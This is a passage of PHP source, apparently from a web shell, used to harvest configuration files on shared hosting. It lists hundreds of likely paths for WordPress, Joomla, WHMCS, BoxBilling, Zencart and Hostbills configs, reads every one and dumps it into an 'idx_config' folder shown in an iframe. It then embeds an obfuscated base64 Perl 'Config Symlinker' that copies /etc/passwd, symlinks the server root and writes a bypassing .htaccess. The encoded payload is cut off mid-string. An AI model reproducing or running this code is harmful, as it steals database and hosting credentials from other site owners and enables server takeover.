  811. "$user_docroot/WP/wp-config.php" => "Wordpress",
  812. "$user_docroot/news/wp-config.php" => "Wordpress",
  813. "$user_docroot/wordpress/wp-config.php" => "Wordpress",
  814. "$user_docroot/test/wp-config.php" => "Wordpress",
  815. "$user_docroot/demo/wp-config.php" => "Wordpress",
  816. "$user_docroot/home/wp-config.php" => "Wordpress",
  817. "$user_docroot/v1/wp-config.php" => "Wordpress",
  818. "$user_docroot/v2/wp-config.php" => "Wordpress",
  819. "$user_docroot/press/wp-config.php" => "Wordpress",
  820. "$user_docroot/new/wp-config.php" => "Wordpress",
  821. "$user_docroot/blogs/wp-config.php" => "Wordpress",
  822. "$user_docroot/configuration.php" => "Joomla",
  823. "$user_docroot/blog/configuration.php" => "Joomla",
  824. "$user_docroot/submitticket.php" => "^WHMCS",
  825. "$user_docroot/cms/configuration.php" => "Joomla",
  826. "$user_docroot/beta/configuration.php" => "Joomla",
  827. "$user_docroot/portal/configuration.php" => "Joomla",
  828. "$user_docroot/site/configuration.php" => "Joomla",
  829. "$user_docroot/main/configuration.php" => "Joomla",
  830. "$user_docroot/home/configuration.php" => "Joomla",
  831. "$user_docroot/demo/configuration.php" => "Joomla",
  832. "$user_docroot/test/configuration.php" => "Joomla",
  833. "$user_docroot/v1/configuration.php" => "Joomla",
  834. "$user_docroot/v2/configuration.php" => "Joomla",
  835. "$user_docroot/joomla/configuration.php" => "Joomla",
  836. "$user_docroot/new/configuration.php" => "Joomla",
  837. "$user_docroot/WHMCS/submitticket.php" => "WHMCS",
  838. "$user_docroot/whmcs1/submitticket.php" => "WHMCS",
  839. "$user_docroot/Whmcs/submitticket.php" => "WHMCS",
  840. "$user_docroot/whmcs/submitticket.php" => "WHMCS",
  841. "$user_docroot/whmcs/submitticket.php" => "WHMCS",
  842. "$user_docroot/WHMC/submitticket.php" => "WHMCS",
  843. "$user_docroot/Whmc/submitticket.php" => "WHMCS",
  844. "$user_docroot/whmc/submitticket.php" => "WHMCS",
  845. "$user_docroot/WHM/submitticket.php" => "WHMCS",
  846. "$user_docroot/Whm/submitticket.php" => "WHMCS",
  847. "$user_docroot/whm/submitticket.php" => "WHMCS",
  848. "$user_docroot/HOST/submitticket.php" => "WHMCS",
  849. "$user_docroot/Host/submitticket.php" => "WHMCS",
  850. "$user_docroot/host/submitticket.php" => "WHMCS",
  851. "$user_docroot/SUPPORTES/submitticket.php" => "WHMCS",
  852. "$user_docroot/Supportes/submitticket.php" => "WHMCS",
  853. "$user_docroot/supportes/submitticket.php" => "WHMCS",
  854. "$user_docroot/domains/submitticket.php" => "WHMCS",
  855. "$user_docroot/domain/submitticket.php" => "WHMCS",
  856. "$user_docroot/Hosting/submitticket.php" => "WHMCS",
  857. "$user_docroot/HOSTING/submitticket.php" => "WHMCS",
  858. "$user_docroot/hosting/submitticket.php" => "WHMCS",
  859. "$user_docroot/CART/submitticket.php" => "WHMCS",
  860. "$user_docroot/Cart/submitticket.php" => "WHMCS",
  861. "$user_docroot/cart/submitticket.php" => "WHMCS",
  862. "$user_docroot/ORDER/submitticket.php" => "WHMCS",
  863. "$user_docroot/Order/submitticket.php" => "WHMCS",
  864. "$user_docroot/order/submitticket.php" => "WHMCS",
  865. "$user_docroot/CLIENT/submitticket.php" => "WHMCS",
  866. "$user_docroot/Client/submitticket.php" => "WHMCS",
  867. "$user_docroot/client/submitticket.php" => "WHMCS",
  868. "$user_docroot/CLIENTAREA/submitticket.php" => "WHMCS",
  869. "$user_docroot/Clientarea/submitticket.php" => "WHMCS",
  870. "$user_docroot/clientarea/submitticket.php" => "WHMCS",
  871. "$user_docroot/SUPPORT/submitticket.php" => "WHMCS",
  872. "$user_docroot/Support/submitticket.php" => "WHMCS",
  873. "$user_docroot/support/submitticket.php" => "WHMCS",
  874. "$user_docroot/BILLING/submitticket.php" => "WHMCS",
  875. "$user_docroot/Billing/submitticket.php" => "WHMCS",
  876. "$user_docroot/billing/submitticket.php" => "WHMCS",
  877. "$user_docroot/BUY/submitticket.php" => "WHMCS",
  878. "$user_docroot/Buy/submitticket.php" => "WHMCS",
  879. "$user_docroot/buy/submitticket.php" => "WHMCS",
  880. "$user_docroot/MANAGE/submitticket.php" => "WHMCS",
  881. "$user_docroot/Manage/submitticket.php" => "WHMCS",
  882. "$user_docroot/manage/submitticket.php" => "WHMCS",
  883. "$user_docroot/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  884. "$user_docroot/ClientSupport/submitticket.php" => "WHMCS",
  885. "$user_docroot/Clientsupport/submitticket.php" => "WHMCS",
  886. "$user_docroot/clientsupport/submitticket.php" => "WHMCS",
  887. "$user_docroot/CHECKOUT/submitticket.php" => "WHMCS",
  888. "$user_docroot/Checkout/submitticket.php" => "WHMCS",
  889. "$user_docroot/checkout/submitticket.php" => "WHMCS",
  890. "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
  891. "$user_docroot/Billings/submitticket.php" => "WHMCS",
  892. "$user_docroot/billings/submitticket.php" => "WHMCS",
  893. "$user_docroot/BASKET/submitticket.php" => "WHMCS",
  894. "$user_docroot/Basket/submitticket.php" => "WHMCS",
  895. "$user_docroot/basket/submitticket.php" => "WHMCS",
  896. "$user_docroot/SECURE/submitticket.php" => "WHMCS",
  897. "$user_docroot/Secure/submitticket.php" => "WHMCS",
  898. "$user_docroot/secure/submitticket.php" => "WHMCS",
  899. "$user_docroot/SALES/submitticket.php" => "WHMCS",
  900. "$user_docroot/Sales/submitticket.php" => "WHMCS",
  901. "$user_docroot/sales/submitticket.php" => "WHMCS",
  902. "$user_docroot/BILL/submitticket.php" => "WHMCS",
  903. "$user_docroot/Bill/submitticket.php" => "WHMCS",
  904. "$user_docroot/bill/submitticket.php" => "WHMCS",
  905. "$user_docroot/PURCHASE/submitticket.php" => "WHMCS",
  906. "$user_docroot/Purchase/submitticket.php" => "WHMCS",
  907. "$user_docroot/purchase/submitticket.php" => "WHMCS",
  908. "$user_docroot/ACCOUNT/submitticket.php" => "WHMCS",
  909. "$user_docroot/Account/submitticket.php" => "WHMCS",
  910. "$user_docroot/account/submitticket.php" => "WHMCS",
  911. "$user_docroot/USER/submitticket.php" => "WHMCS",
  912. "$user_docroot/User/submitticket.php" => "WHMCS",
  913. "$user_docroot/user/submitticket.php" => "WHMCS",
  914. "$user_docroot/CLIENTS/submitticket.php" => "WHMCS",
  915. "$user_docroot/Clients/submitticket.php" => "WHMCS",
  916. "$user_docroot/clients/submitticket.php" => "WHMCS",
  917. "$user_docroot/BILLINGS/submitticket.php" => "WHMCS",
  918. "$user_docroot/Billings/submitticket.php" => "WHMCS",
  919. "$user_docroot/billings/submitticket.php" => "WHMCS",
  920. "$user_docroot/MY/submitticket.php" => "WHMCS",
  921. "$user_docroot/My/submitticket.php" => "WHMCS",
  922. "$user_docroot/my/submitticket.php" => "WHMCS",
  923. "$user_docroot/secure/whm/submitticket.php" => "WHMCS",
  924. "$user_docroot/secure/whmcs/submitticket.php" => "WHMCS",
  925. "$user_docroot/panel/submitticket.php" => "WHMCS",
  926. "$user_docroot/clientes/submitticket.php" => "WHMCS",
  927. "$user_docroot/cliente/submitticket.php" => "WHMCS",
  928. "$user_docroot/support/order/submitticket.php" => "WHMCS",
  929. "$user_docroot/bb-config.php" => "BoxBilling",
  930. "$user_docroot/boxbilling/bb-config.php" => "BoxBilling",
  931. "$user_docroot/box/bb-config.php" => "BoxBilling",
  932. "$user_docroot/host/bb-config.php" => "BoxBilling",
  933. "$user_docroot/Host/bb-config.php" => "BoxBilling",
  934. "$user_docroot/supportes/bb-config.php" => "BoxBilling",
  935. "$user_docroot/support/bb-config.php" => "BoxBilling",
  936. "$user_docroot/hosting/bb-config.php" => "BoxBilling",
  937. "$user_docroot/cart/bb-config.php" => "BoxBilling",
  938. "$user_docroot/order/bb-config.php" => "BoxBilling",
  939. "$user_docroot/client/bb-config.php" => "BoxBilling",
  940. "$user_docroot/clients/bb-config.php" => "BoxBilling",
  941. "$user_docroot/cliente/bb-config.php" => "BoxBilling",
  942. "$user_docroot/clientes/bb-config.php" => "BoxBilling",
  943. "$user_docroot/billing/bb-config.php" => "BoxBilling",
  944. "$user_docroot/billings/bb-config.php" => "BoxBilling",
  945. "$user_docroot/my/bb-config.php" => "BoxBilling",
  946. "$user_docroot/secure/bb-config.php" => "BoxBilling",
  947. "$user_docroot/support/order/bb-config.php" => "BoxBilling",
  948. "$user_docroot/includes/dist-configure.php" => "Zencart",
  949. "$user_docroot/zencart/includes/dist-configure.php" => "Zencart",
  950. "$user_docroot/products/includes/dist-configure.php" => "Zencart",
  951. "$user_docroot/cart/includes/dist-configure.php" => "Zencart",
  952. "$user_docroot/shop/includes/dist-configure.php" => "Zencart",
  953. "$user_docroot/includes/iso4217.php" => "Hostbills",
  954. "$user_docroot/hostbills/includes/iso4217.php" => "Hostbills",
  955. "$user_docroot/host/includes/iso4217.php" => "Hostbills",
  956. "$user_docroot/Host/includes/iso4217.php" => "Hostbills",
  957. "$user_docroot/supportes/includes/iso4217.php" => "Hostbills",
  958. "$user_docroot/support/includes/iso4217.php" => "Hostbills",
  959. "$user_docroot/hosting/includes/iso4217.php" => "Hostbills",
  960. "$user_docroot/cart/includes/iso4217.php" => "Hostbills",
  961. "$user_docroot/order/includes/iso4217.php" => "Hostbills",
  962. "$user_docroot/client/includes/iso4217.php" => "Hostbills",
  963. "$user_docroot/clients/includes/iso4217.php" => "Hostbills",
  964. "$user_docroot/cliente/includes/iso4217.php" => "Hostbills",
  965. "$user_docroot/clientes/includes/iso4217.php" => "Hostbills",
  966. "$user_docroot/billing/includes/iso4217.php" => "Hostbills",
  967. "$user_docroot/billings/includes/iso4217.php" => "Hostbills",
  968. "$user_docroot/my/includes/iso4217.php" => "Hostbills",
  969. "$user_docroot/secure/includes/iso4217.php" => "Hostbills",
  970. "$user_docroot/support/order/includes/iso4217.php" => "Hostbills"
  971.  
  972. );
  973. foreach($getconfig as $config => $userconfig) {
  974. $get = file_get_contents($config);
  975. if($get == '') {
  976. }
  977. else {
  978. $fopen = fopen("idx_config/$user-$userconfig.txt", "w");
  979. fputs($fopen, $get);
  980. }
  981. }
  982. }
  983. }
  984. }
  985. print "<div style='background: #ffffff; width: 100%; height: 100%'>";
  986. print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/idx_config/' frameborder='0' scrolling='yes'><iframe>";
  987. print "</div>";
  988. }
  989. elseif($toolsname === "symlink") {
  990. if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'idx_sym'."));
  991. if(!is_dir(path()."/idx_sym/")) {
  992. $sym['code'] = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjIA0KIw0KIwkJTmFtZSA6IFBlcmwvQ0dJIENvbmZpZyBTeW1saW5rZXIgKFdpdGggQXV0byBCeXBhc3MgU3ltbGluayA0MDQpDQojCQlWZXJzaW9uIDogMS4yDQojCQlDcmVhdGVkIDogOSBNZWkgMjAxNw0KIwkJQXV0aG9yIDogMHgxOTk5DQojCQlUaGFua3MgVG8gOiAweElEaW90ICwgSW5kb25lc2lhbiBDb2RlIFBhcnR5ICwgSmF0aW00dQ0KIwkJTW9yZSBJbmZvIDogaHR0cDovLzB4RGFyay5ibG9nc3BvdC5jb20NCiMJCVdhbnQgdG8gcmVjb2RlID8gRG9uJ3QgZm9yZ2V0IG15IG5pY2sgbmFtZSAgOikNCiMJCWh0dHA6Ly9mYWNlYm9vay5jb20vbWVsZXguMWQNCiMJCQ0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCg0KdXNlIEZpbGU6OkNvcHk7DQp1c2Ugc3RyaWN0Ow0KdXNlIHdhcm5pbmdzOw0KdXNlIE1JTUU6OkJhc2U2NDsNCmNvcHkoIi9ldGMvcGFzc3dkIiwicGFzc3dkLnR4dCIpIDsNCm1rZGlyICJpZHhfc3ltIjsNCnN5bWxpbmsoIi8iLCJpZHhfc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2lkeF9zeW0vLmh0YWNjZXNzJyk7DQpwcmludCAkZmgxICIkaHRhY2Nlc3MiOw0KY2xvc2UgJGZoMTsNCm9wZW4obXkgJHh4LCAnPicsICdpZHhfc3ltL25lbXUudHh0Jyk7DQpwcmludCAkeHggIiRzeW0iOw0KY2xvc2UgJHh4Ow0Kb3BlbihteSAkZmgsICc8OmVuY29kaW5nKFVURi04KScsICRmaWxlbmFtZSk7DQp3aGlsZSAobXkgJHJvdyA9IDwkZmg+KSB7DQpteSBAbWF0Y2hlcyA9ICRyb3cgPX4gLyguKj8pOng6L2c7DQpteSAkdXNlcm55YSA9ICQxOw0KbXkgQGFycmF5ID0gKA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy8uYWNjZXNzaGFzaCcsIHR5cGUgPT4gJ1dITS1hY2Nlc3NoYXNoJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jb25maWcva29uZWtzaS5waHAnLCB0eXBlID0+ICdMb2tvbWVkaWEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9zZXR0aW5ncy5pbmMucGhwJywgdHlwZSA9PiAnUHJlc3RhU2hvcCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwL2V0Yy9sb2NhbC54bWwnLCB0eXBlID0+ICdNYWdlbnRvJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywgdHlwZSA9PiAnT3BlbkNhcnQnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCB0eXBlID0+ICdFbGxpc2xhYicgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3AvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV1Avd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvbWUvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjEvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnXldITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BvcnRhbC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvZGVtby9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdGVzdC9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNC